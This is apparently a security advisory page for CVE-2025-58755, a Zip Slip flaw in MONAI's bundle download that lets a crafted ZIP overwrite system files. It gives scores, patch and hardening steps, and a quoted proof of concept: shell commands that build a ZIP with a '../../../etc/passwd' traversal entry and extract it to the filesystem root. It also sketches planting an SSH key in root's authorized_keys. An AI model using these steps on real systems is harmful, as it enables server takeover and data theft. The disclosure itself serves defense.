CVE-2025-58755 — HIGH (CVSS 8.8) AI Security Vulnerability

CISO Take

MONAI bundle downloads are vulnerable to Zip Slip — a malicious ZIP hosted anywhere online can overwrite system files on ML workstations or training servers when extracted. Update to MONAI 1.5.1 immediately. Audit any system where untrusted URLs were passed to MONAI's bundle download function.

Risk Assessment

High risk for AI/ML teams using MONAI bundle downloads. CVSS 8.8 with network vector, low complexity, and low privileges required. Attack surface is broad: MONAI is prevalent in medical imaging AI pipelines and researchers routinely pull bundles from community sources like HuggingFace, GitHub, and MONAI Hub. An attacker who can host a ZIP (or MITM a download) achieves arbitrary file write without meaningful user interaction beyond the normal bundle workflow. Containerized training environments frequently run as root, amplifying impact.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
monai	pip	<= 1.5.0	`1.5.1`
8.1K OpenSSF 7.0 105 dependents Pushed 8d ago 100% patched ~15d to patch Full package profile →

Do you use monai? You're affected.

Severity & Risk

CVSS 3.1

8.8 / 10

EPSS

0.1%

chance of exploitation in 30 days

Higher than 32% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV Network

AC Low

PR Low

UI None

S Unchanged

C High

I High

A High

Recommended Action

5 steps

PATCH

Upgrade to monai >= 1.5.1 immediately (pip install --upgrade monai).
AUDIT

Run pip freeze | grep monai across all ML training and inference systems.
DETECT

Review file system audit logs for unexpected writes outside bundle extraction directories during MONAI operations.
WORKAROUND (if immediate patch is blocked): Restrict bundle downloads to MONAI's official hosting only; never pass untrusted or user-supplied URLs to monai.bundle.scripts.download.
HARDEN

Run MONAI processes as non-root in containers with restricted filesystem mounts; apply seccomp/AppArmor profiles to training containers.

CISA SSVC Assessment

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Supply Chain Code Execution Framework AML.T0002.001 - Models AML.T0010.001 - AI Software AML.T0011.000 - Unsafe AI Artifacts AML.T0049 - Exploit Public-Facing Application

Compliance Impact

This CVE is relevant to:

EU AI Act

Art. 9 - Risk management system

ISO 42001

A.6.1.4 - AI supply chain management

NIST AI RMF

MANAGE 2.2 - Prioritize and apply risk treatments for AI risks

OWASP LLM Top 10

LLM03 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2025-58755?

MONAI bundle downloads are vulnerable to Zip Slip — a malicious ZIP hosted anywhere online can overwrite system files on ML workstations or training servers when extracted. Update to MONAI 1.5.1 immediately. Audit any system where untrusted URLs were passed to MONAI's bundle download function.

Is CVE-2025-58755 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-58755, increasing the risk of exploitation.

How to fix CVE-2025-58755?

1. PATCH: Upgrade to monai >= 1.5.1 immediately (`pip install --upgrade monai`). 2. AUDIT: Run `pip freeze | grep monai` across all ML training and inference systems. 3. DETECT: Review file system audit logs for unexpected writes outside bundle extraction directories during MONAI operations. 4. WORKAROUND (if immediate patch is blocked): Restrict bundle downloads to MONAI's official hosting only; never pass untrusted or user-supplied URLs to monai.bundle.scripts.download. 5. HARDEN: Run MONAI processes as non-root in containers with restricted filesystem mounts; apply seccomp/AppArmor profiles to training containers.

What systems are affected by CVE-2025-58755?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps/CI pipelines.

What is the CVSS score for CVE-2025-58755?

CVE-2025-58755 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.13%.

Technical Details

NVD Description

### Summary The extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) adding: ../../../../../../etc/passwd (deflated 64%) root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd .. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls malicious.zip p1.py p2.py r1.py test_bundle ``` Then start the http service through python ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')" 2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download --- 2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle' 2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract' 2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting' 2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip' 2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_' 2025-08-11 20:49:01,668 - INFO - > progress: True 2025-08-11 20:49:01,668 - INFO - --- test_bundle.zip: 8.00kB [00:00, 204kB/s] 2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip 2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip. 2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract. 2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls / autodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var bin dev init lib64 media proc sbin tmp boot etc lib libx32 mnt root srv usr ``` We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage. ### Impact Arbitrary file write ### Repair Suggestions Check the contents of the downloaded Zip file, or use a safer method to load it

Exploitation Scenario

Attacker uploads a crafted ZIP to HuggingFace, a research Slack channel, or a community forum frequented by medical AI teams. The ZIP contains an entry with a traversal path (e.g., `../../../../../root/.ssh/authorized_keys`) populated with the attacker's public key. An ML engineer follows a tutorial or colleague recommendation and runs `monai.bundle.scripts.download(url='<attacker-url>', bundle_dir='/tmp/model')`. MONAI downloads and calls `extractall()` without path sanitization, writing the attacker's key into root's authorized_keys. The attacker gains SSH access to a GPU training server, potentially with access to patient imaging datasets and downstream clinical AI model artifacts.